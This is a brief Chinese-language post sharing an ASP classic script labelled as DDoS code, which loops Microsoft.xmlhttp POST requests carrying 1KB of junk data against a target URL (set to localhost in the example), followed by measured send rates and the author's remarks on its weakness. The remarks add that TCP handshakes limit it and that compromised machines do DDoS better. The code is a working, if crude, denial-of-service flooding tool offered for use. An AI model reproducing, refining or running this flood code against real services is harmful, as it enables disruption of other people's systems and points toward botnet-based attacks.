DDOS代码:
<% 'On Error Resume Next Dim Tmp, Atk Atk = 1024 '发包数量 Tmp = String(1024,"A") '产生1kb垃圾数据 Set Xml = Server.CreateObject("Microsoft.xmlhttp") StarTime = Timer() '记录开始时间 For i=1 to Atk Xml.Open "Post", "http://127.0.0.1:90/", Flase '打开URL Xml.Send Tmp '发送垃圾数据 Next UseTime = FormatNumber((Timer()-StarTime)*1000,3) '计算花费时间 Response.Write "发包数量:" & Atk & " 个" Response.Write "数据大小:" & Atk*Len(Tmp)/1024 & " kb" Response.Write "发包速度:" & Atk/(UseTime/1000) & " /s" Response.Write "花费时间:" & UseTime & " 毫秒" %>
测试结果:
发包数量:1024 个
数据大小:1024 kb
发包速度:376.64367816092 /s
花费时间:2,718.750 毫秒
发包速度还行,如果是互联网环境的话。除以10。
而且只支持TCP连接(Get/Post两种方式)。
如果xml使用异步发送,可能根本发不出去。
使用同步的话。发送期间会卡死的。
总之:十分鸡肋,还不如用普通家鸡搞DDOS。
asp这个还是太鸡肋了一点。
除了xml组件,我想不到有什么其他的发送数据的方法。
只能发送TCP的数据包。
TCP最大的缺点就是:
要完成三次握手协议。
TCP发个包出去还要等待对方回复。
大大的影响了发包速度。